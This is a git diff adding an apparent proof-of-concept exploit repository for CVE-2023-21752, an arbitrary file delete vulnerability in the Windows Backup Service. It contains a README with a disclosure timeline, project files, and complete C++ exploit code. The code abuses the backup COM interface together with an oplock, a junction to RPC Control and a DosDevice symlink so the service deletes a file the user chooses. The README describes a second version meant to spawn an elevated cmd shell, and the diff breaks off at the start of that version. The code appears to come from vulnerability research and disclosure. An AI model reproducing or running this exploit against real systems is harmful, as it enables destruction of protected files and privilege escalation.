diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/README.md b/cve/Windows Backup Service/2023/CVE-2023-21752/README.md new file mode 100644 index 0000000000000000000000000000000000000000..103a5f4854d0086bc6d7d3dce3bc18a810bfd1e2 --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/README.md @@ -0,0 +1,25 @@ +# CVE-2023-21752 + +PoC for arbitrary file delete vulnerability in Windows Backup service. + +https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21752 + +This repo contains two exploits: + +v1 - Just perform file delete of user choice + +v2 - Tries to abuse arb delete to spawn elevated cmd shell (not very stable probably need to run it couple of times, better work on phisycal machine) + + + + + +https://user-images.githubusercontent.com/44291883/211601142-c04534e5-f718-478d-b91a-65d6a4f06080.mp4 + + +# Timeline + +- 07/07/2022 - Vulnerability reported to MSRC +- 08/10/2022 - MSRC confirmed vulnerability +- 08/12/2022 - Bounty awarded +- 01/10/2023 - Patch released diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/FileOplock.cpp b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/FileOplock.cpp new file mode 100644 index 0000000000000000000000000000000000000000..10ad5b169c346ca486aed9df22023ce01a45f0a6 --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/FileOplock.cpp @@ -0,0 +1,201 @@ + +#include "FileOpLock.h" +#include + + + +FileOpLock::FileOpLock(UserCallback cb) : + g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb) +{ + g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; + g_inputBuffer.StructureLength = sizeof(g_inputBuffer); + g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE; + g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST; + g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; + g_outputBuffer.StructureLength = sizeof(g_outputBuffer); +} + + +FileOpLock::~FileOpLock() +{ + if (g_wait) + { + SetThreadpoolWait(g_wait, nullptr, nullptr); + CloseThreadpoolWait(g_wait); + g_wait = nullptr; + } + + if (g_o.hEvent) + { + CloseHandle(g_o.hEvent); + g_o.hEvent = nullptr; + } + + if (g_hFile != INVALID_HANDLE_VALUE) + { + CloseHandle(g_hFile); + g_hFile = INVALID_HANDLE_VALUE; + } +} +bool FileOpLock::BeginLock(const std::wstring& filename) +{ + g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); + g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); + + + + g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, + 0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_BACKUP_SEMANTICS, 0); + if (g_hFile == INVALID_HANDLE_VALUE) { + + return false; + } + + g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); + if (g_wait == nullptr) + { + + return false; + } + + SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); + + DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, + &g_inputBuffer, sizeof(g_inputBuffer), + &g_outputBuffer, sizeof(g_outputBuffer), + nullptr, &g_o); + if (GetLastError() != ERROR_IO_PENDING) { + + return false; + } + + return true; +} +bool FileOpLock::BeginLock(HANDLE hfile) +{ + g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); + g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); + + + + g_hFile = hfile; + if (g_hFile == INVALID_HANDLE_VALUE) { + + return false; + } + + g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); + if (g_wait == nullptr) + { + + return false; + } + + SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); + DWORD bytesReturned; + + DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, + &g_inputBuffer, sizeof(g_inputBuffer), + &g_outputBuffer, sizeof(g_outputBuffer), + nullptr, &g_o); + /*DeviceIoControl(g_hFile, + FSCTL_REQUEST_OPLOCK_LEVEL_1, + NULL, 0, + NULL, 0, + &bytesReturned, + &g_o);*/ + if (GetLastError() != ERROR_IO_PENDING) { + + return false; + } + + return true; +} +FileOpLock* FileOpLock::CreateLock(const std::wstring& name, FileOpLock::UserCallback cb) +{ + FileOpLock* ret = new FileOpLock(cb); + + if (ret->BeginLock(name)) + { + return ret; + } + else + { + delete ret; + return nullptr; + } +} +FileOpLock* FileOpLock::CreateLock(HANDLE hfile, FileOpLock::UserCallback cb) +{ + FileOpLock* ret = new FileOpLock(cb); + + if (ret->BeginLock(hfile)) + { + return ret; + } + else + { + delete ret; + return nullptr; + } +} +void FileOpLock::WaitForLock(UINT Timeout) +{ + WaitForSingleObject(g_hLockCompleted, Timeout); +} + +void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance, + PVOID Parameter, PTP_WAIT Wait, + TP_WAIT_RESULT WaitResult) +{ + UNREFERENCED_PARAMETER(Instance); + UNREFERENCED_PARAMETER(Wait); + UNREFERENCED_PARAMETER(WaitResult); + + FileOpLock* lock = reinterpret_cast(Parameter); + + lock->DoWaitCallback(); +} +void FileOpLock::WaitCallback2(PTP_CALLBACK_INSTANCE Instance, + PVOID Parameter, PTP_WAIT Wait, + TP_WAIT_RESULT WaitResult) +{ + UNREFERENCED_PARAMETER(Instance); + UNREFERENCED_PARAMETER(Wait); + UNREFERENCED_PARAMETER(WaitResult); + + FileOpLock* lock = reinterpret_cast(Parameter); + + lock->DoWaitCallbackt(); +} +void FileOpLock::DoWaitCallbackt() +{ + DWORD dwBytes; + if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { + + } + + if (_cb) + { + _cb(); + } + g_hFile = INVALID_HANDLE_VALUE; + SetEvent(g_hLockCompleted); +} +void FileOpLock::DoWaitCallback() +{ + DWORD dwBytes; + if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { + + } + + if (_cb) + { + _cb(); + } + + + CloseHandle(g_hFile); + g_hFile = INVALID_HANDLE_VALUE; + SetEvent(g_hLockCompleted); +} diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/FileOplock.h b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/FileOplock.h new file mode 100644 index 0000000000000000000000000000000000000000..c974ea843a3a665a500c7b891c6152af5bae8c5a --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/FileOplock.h @@ -0,0 +1,40 @@ +#pragma once + +#include +#include + +class FileOpLock +{ +public: + typedef void(*UserCallback)(); + static FileOpLock* CreateLock(HANDLE hfile, FileOpLock::UserCallback cb); + static FileOpLock* CreateLock(const std::wstring& name, FileOpLock::UserCallback cb); + void WaitForLock(UINT Timeout); + + ~FileOpLock(); +private: + + HANDLE g_hFile; + OVERLAPPED g_o; + REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer; + REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer; + HANDLE g_hLockCompleted; + PTP_WAIT g_wait; + UserCallback _cb; + + FileOpLock(UserCallback cb); + + static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance, + PVOID Parameter, PTP_WAIT Wait, + TP_WAIT_RESULT WaitResult); + static void CALLBACK WaitCallback2(PTP_CALLBACK_INSTANCE Instance, + PVOID Parameter, PTP_WAIT Wait, + TP_WAIT_RESULT WaitResult); + void DoWaitCallback(); + void DoWaitCallbackt(); + bool BeginLock(HANDLE hfile); + bool BeginLock(const std::wstring& name); + +}; + + diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/SDRsvcEop.sln b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/SDRsvcEop.sln new file mode 100644 index 0000000000000000000000000000000000000000..455a36d9089c375fa7b699739a4199c796791eeb --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/SDRsvcEop.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.0.31919.166 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SDRsvcEop", "SDRsvcEop.vcxproj", "{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x64.ActiveCfg = Debug|x64 + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x64.Build.0 = Debug|x64 + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x86.ActiveCfg = Debug|Win32 + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x86.Build.0 = Debug|Win32 + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x64.ActiveCfg = Release|x64 + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x64.Build.0 = Release|x64 + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x86.ActiveCfg = Release|Win32 + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {E7910A37-2126-493B-A1A7-2FD1F8FCFB30} + EndGlobalSection +EndGlobal diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/SDRsvcEop.vcxproj b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/SDRsvcEop.vcxproj new file mode 100644 index 0000000000000000000000000000000000000000..cdb3369e98eca59b3bf45aaa7738424c9e45b307 --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/SDRsvcEop.vcxproj @@ -0,0 +1,153 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {e87cbf4d-3552-4894-9ed2-b296d4dbf5bb} + SDRsvcEop + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + true + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/SDRsvcEop.vcxproj.filters b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/SDRsvcEop.vcxproj.filters new file mode 100644 index 0000000000000000000000000000000000000000..391275812ff68b9a7f5be27a28037f9d1f6ae040 --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/SDRsvcEop.vcxproj.filters @@ -0,0 +1,33 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/SDRsvcEop.vcxproj.user b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/SDRsvcEop.vcxproj.user new file mode 100644 index 0000000000000000000000000000000000000000..0f14913f3c72094bb7b1e695e153ade04b17d5b0 --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/SDRsvcEop.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/def.h b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/def.h new file mode 100644 index 0000000000000000000000000000000000000000..1a4d7dba48c84682cc394ab948a3223518d30e36 --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/def.h @@ -0,0 +1,126 @@ + +#include +#include +#include +#include +#include +#include +#include "FileOplock.h" + +#pragma warning(disable:4996) +#pragma comment(lib,"Rpcrt4.lib") +struct __declspec(uuid("687E55CA-6621-4C41-B9F1-C0EDDC94BB05")) CLSID_SDC; + + +class __declspec(uuid("a9f63151-4ccf-4c63-9b5a-3ba524a33886")) ISdScheduledBackup : public IUnknown { +public: + virtual HRESULT __stdcall Proc3(); + virtual HRESULT __stdcall Proc4(/* Stack Offset: 8 */ void* p0, /* Stack Offset: 16 */ GUID* p1); + virtual HRESULT __stdcall Proc5(/* Stack Offset: 8 */ struct Struct_8* p0); + virtual HRESULT __stdcall Proc6(/* Stack Offset: 8 */ struct Struct_9* p0); + virtual HRESULT __stdcall Proc7(/* Stack Offset: 8 */ wchar_t* p0, /* Stack Offset: 16 */ struct Struct_10* p1); + virtual HRESULT __stdcall Proc8(/* Stack Offset: 8 */ int64_t p0, /* Stack Offset: 16 */ GUID* p1); + virtual HRESULT __stdcall Proc9(/* Stack Offset: 8 */ int64_t p0, /* Stack Offset: 16 */ GUID* p1); + virtual HRESULT __stdcall Proc10(/* Stack Offset: 8 */ GUID* p0); + virtual HRESULT __stdcall Proc11(/* Stack Offset: 8 */ wchar_t* p0, /* Stack Offset: 16 */ wchar_t* p1); + virtual HRESULT __stdcall Proc12(/* Stack Offset: 8 */ wchar_t* p0, /* Stack Offset: 16 */ wchar_t* p1, /* Stack Offset: 24 */ wchar_t* p2, /* Stack Offset: 32 */ int64_t p3, /* Stack Offset: 40 */ struct Struct_10* p4, /* Stack Offset: 48 */ int64_t* p5); + virtual HRESULT __stdcall Proc13(/* Stack Offset: 8 */ wchar_t** p0); +}; +typedef struct Struct_10 { + /* Offset: 0 */ wchar_t* Member0; + /* Offset: 8 */ wchar_t* Member8; + /* Offset: 16 */ wchar_t* Member10; + /* Offset: 24 */ wchar_t* Member18; + /* Offset: 32 */ wchar_t* Member20; + /* Offset: 40 */ wchar_t* Member28; + /* Offset: 48 */ wchar_t* Member30; + /* Offset: 56 */ /* ENUM32 */ uint32_t Member38; + /* Offset: 64 */ int64_t Member40; + /* Offset: 72 */ int64_t Member48; + /* Offset: 80 */ int64_t Member50; + /* Offset: 84 */ int64_t Member54; + /* Offset: 88 */ int64_t Member58; + /* Offset: 92 */ int64_t Member5C; + /* Offset: 96 */ int64_t Member60; + /* Offset: 100 */ int64_t Member64; + /* Offset: 104 */ int64_t Member68; + /* Offset: 108 */ int64_t Member6C; + /* Offset: 112 */ int64_t Member70; + /* Offset: 116 */ int64_t Member74; + /* Offset: 120 */ int64_t Member78; + /* Offset: 124 */ int64_t Member7C; + /* Offset: 128 */ int64_t Member80; + /* Offset: 132 */ int64_t Member84; + /* Offset: 136 */ int64_t Member88; +}Struct_10, * PStruct_10; + + +#define FULL_SHARING FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE + +void load(); +BOOL CreateJunction(HANDLE dir, LPCWSTR target); +BOOL DeleteJunction(HANDLE dir); +BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target); +BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target); +void cb(); +BOOL Trigger(); +LPWSTR GetTmpDir(); +BOOL Move(HANDLE); +VOID FindFile(HANDLE hDir); +LPWSTR BuildPath(LPCWSTR path); +HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion); +HANDLE bt; +HANDLE hFile,hDir; +WCHAR unc[MAX_PATH * 2] = { 0x0 }; +LPWSTR dir; +wchar_t* target; +wchar_t object[MAX_PATH] = { 0x0 }; +typedef struct _REPARSE_DATA_BUFFER { + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + union { + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + ULONG Flags; + WCHAR PathBuffer[1]; + } SymbolicLinkReparseBuffer; + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + WCHAR PathBuffer[1]; + } MountPointReparseBuffer; + struct { + UCHAR DataBuffer[1]; + } GenericReparseBuffer; + } DUMMYUNIONNAME; +} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; +#define STATUS_MORE_ENTRIES 0x00000105 +#define STATUS_NO_MORE_ENTRIES 0x8000001A +#define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L) + +typedef NTSYSAPI NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); +typedef NTSYSAPI VOID(NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); +typedef NTSYSAPI NTSTATUS(NTAPI* _NtOpenDirectoryObject)(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); +typedef NTSYSAPI NTSTATUS(NTAPI* _NtQueryDirectoryObject)(_In_ HANDLE DirectoryHandle, _Out_opt_ PVOID Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_ BOOLEAN RestartScan, _Inout_ PULONG Context, _Out_opt_ PULONG ReturnLength); +typedef NTSYSCALLAPI NTSTATUS(NTAPI* _NtSetInformationFile)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + ULONG FileInformationClass + ); + +_RtlInitUnicodeString pRtlInitUnicodeString; +_NtCreateFile pNtCreateFile; +_NtSetInformationFile pNtSetInformationFile; + diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/main.cpp b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/main.cpp new file mode 100644 index 0000000000000000000000000000000000000000..e1a5888ceff1684de4fc224b4ac83ca8e89bda56 --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V1-SDRsvcEop/main.cpp @@ -0,0 +1,271 @@ +#include "def.h" + +int wmain(int argc,wchar_t** argv) +{ + + load(); + if (argc < 2) { + printf("[+] Usage: %ls \n", argv[0]); + return 1; + } + + target = argv[1]; + + dir = GetTmpDir(); + printf("[*] Directory: %ls\n", dir); + if (!CreateDirectory(dir, NULL)) { + return 1; + } + hDir = CreateFile(dir, GENERIC_WRITE | GENERIC_READ|DELETE, FULL_SHARING, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT|FILE_FLAG_DELETE_ON_CLOSE, NULL); + + if (hDir == INVALID_HANDLE_VALUE) { + return 1; + + } + + WCHAR path[MAX_PATH * 2] = { 0x0 }; + GetFinalPathNameByHandle(hDir, path, MAX_PATH * 2, VOLUME_NAME_NONE); + swprintf(unc, L"\\\\127.0.0.1\\c$%ls", path); + CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)FindFile,hDir,0,NULL); + Trigger(); + HANDLE success; + do { + success = CreateFile(target, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); + } while (success != INVALID_HANDLE_VALUE); + printf("[+] Exploit successful!\n"); + DeleteJunction(hDir); + DelDosDeviceSymLink(object, BuildPath(target)); +} +BOOL Trigger() { + HRESULT hr = CoInitialize(NULL); + ISdScheduledBackup* sdc; + + + PStruct_10 aaa = (PStruct_10)malloc(sizeof(Struct_10)); + hr = CoCreateInstance(__uuidof(CLSID_SDC), NULL, CLSCTX_LOCAL_SERVER, __uuidof(ISdScheduledBackup), (LPVOID*)&sdc); + if (SUCCEEDED(hr)) { + printf("[*] Path: %ls\n", unc); + hr = sdc->Proc7(unc, aaa); + if (SUCCEEDED(hr)) { + return TRUE; + } + else + { + printf("0x%x\n", hr); + return FALSE; + } + } + else + { + printf("0x%x\n", hr); + return FALSE; + } + + +} + +void load() { + HMODULE ntdll = LoadLibraryW(L"ntdll.dll"); + if (ntdll != NULL) { + pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString"); + pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile"); + pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile"); + + }\ + if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL) { + printf("Cannot load api's %d\n", GetLastError()); + exit(0); + } + +} +void cb() { + printf("[+] Oplock!\n"); + while(!Move(hFile)){} + + CreateJunction(hDir, L"\\RPC Control"); + DosDeviceSymLink(object, BuildPath(target)); + +} + +BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) { + if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) { + printf("[+] Symlink %ls -> %ls created!\n", object, target); + return TRUE; + + } + else + { + printf("error :%d\n", GetLastError()); + return FALSE; + + } +} + +BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) { + if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) { + printf("[+] Symlink %ls -> %ls deleted!\n", object, target); + return TRUE; + + } + else + { + printf("error :%d\n", GetLastError()); + return FALSE; + + + } +} +BOOL CreateJunction(HANDLE hDir, LPCWSTR target) { + HANDLE hJunction; + DWORD cb; + wchar_t printname[] = L""; + if (hDir == INVALID_HANDLE_VALUE) { + printf("[!] HANDLE invalid!\n"); + return FALSE; + } + SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR); + SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR); + SIZE_T PathLen = TargetLen + PrintnameLen + 12; + SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)); + PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize); + Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; + Data->ReparseDataLength = PathLen; + Data->Reserved = 0; + Data->MountPointReparseBuffer.SubstituteNameOffset = 0; + Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen; + memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2); + Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2); + Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen; + memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2); + WCHAR dir[MAX_PATH] = { 0x0 }; + if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0) + { + + GetFinalPathNameByHandle(hDir, dir, MAX_PATH, 0); + printf("[+] Junction %ls -> %ls created!\n", dir, target); + free(Data); + return TRUE; + + } + else + { + + printf("[!] Error: %d. Exiting\n", GetLastError()); + free(Data); + return FALSE; + } +} +BOOL DeleteJunction(HANDLE handle) { + REPARSE_GUID_DATA_BUFFER buffer = { 0 }; + BOOL ret; + buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; + DWORD cb = 0; + IO_STATUS_BLOCK io; + if (handle == INVALID_HANDLE_VALUE) { + printf("[!] HANDLE invalid!\n"); + return FALSE; + } + WCHAR dir[MAX_PATH] = { 0x0 }; + if (DeviceIoControl(handle, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL)) { + GetFinalPathNameByHandle(handle, dir, MAX_PATH, 0); + printf("[+] Junction %ls deleted!\n", dir); + return TRUE; + } + else + { + printf("[!] Error: %d.\n", GetLastError()); + return FALSE; + } +} +BOOL Move(HANDLE hFile) { + if (hFile == INVALID_HANDLE_VALUE) { + printf("[!] Invalid handle!\n"); + return FALSE; + } + wchar_t tmpfile[MAX_PATH] = { 0x0 }; + RPC_WSTR str_uuid; + UUID uuid = { 0 }; + UuidCreate(&uuid); + UuidToString(&uuid, &str_uuid); + _swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid); + size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t)); + FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz); + IO_STATUS_BLOCK io = { 0 }; + rename_info->ReplaceIfExists = TRUE; + rename_info->RootDirectory = NULL; + rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040; + rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t); + memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t)); + NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65); + if (status != 0) { + return FALSE; + } + return TRUE; +} +LPWSTR BuildPath(LPCWSTR path) { + wchar_t ntpath[MAX_PATH]; + swprintf(ntpath, L"\\??\\%s", path); + return ntpath; +} +VOID FindFile(HANDLE hDidr) { + PFILE_NOTIFY_INFORMATION fi = NULL; + WCHAR file[MAX_PATH] = { 0x0 }; + FileOpLock* oplock; + WCHAR* final_path = (WCHAR*)malloc(MAX_PATH); + HANDLE hDir = CreateFile(dir, GENERIC_WRITE | GENERIC_READ, FULL_SHARING, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT, NULL); + BOOL stop = FALSE; + do { + + wchar_t buff[4096] = { 0 }; + DWORD ret = 0; + ReadDirectoryChangesW(hDir, buff, 4096, FALSE, FILE_NOTIFY_CHANGE_FILE_NAME, &ret, NULL, NULL); + + fi = (PFILE_NOTIFY_INFORMATION)buff; + if (fi->Action == FILE_ACTION_ADDED) { + stop = TRUE; + } + } while (stop == FALSE); + _swprintf(file, L"%s\\%s",dir, fi->FileName); + _swprintf(object, L"Global\\GLOBALROOT\\RPC Control\\%s", fi->FileName); + do { + hFile = CreateFile(file, GENERIC_READ | DELETE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); + } while (hFile == INVALID_HANDLE_VALUE); + + oplock = FileOpLock::CreateLock(hFile, cb); + if (oplock != nullptr) { + oplock->WaitForLock(INFINITE); + delete oplock; + } +} +LPWSTR GetTmpDir() { + LPWSTR username; + DWORD szUsername = 0; + WCHAR path[MAX_PATH] = { 0x0 }; + RPC_WSTR str_uuid; + UUID uuid = { 0x0 }; + + UuidCreate(&uuid); + UuidToString(&uuid, &str_uuid); + GetUserName(NULL, &szUsername); + username = (LPWSTR)malloc(szUsername); + GetUserName(username, &szUsername); + swprintf(path, L"C:\\users\\%s\\appdata\\local\\temp\\%s", username, str_uuid); + + return path; +} +HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) { + UNICODE_STRING ufile; + HANDLE hDir; + pRtlInitUnicodeString(&ufile, file); + OBJECT_ATTRIBUTES oa = { 0 }; + IO_STATUS_BLOCK io = { 0 }; + NTSTATUS retcode; + InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL); + + retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL); + + if (!NT_SUCCESS(retcode)) { + return NULL; + } + return hDir; +} \ No newline at end of file diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/FileOplock.cpp b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/FileOplock.cpp new file mode 100644 index 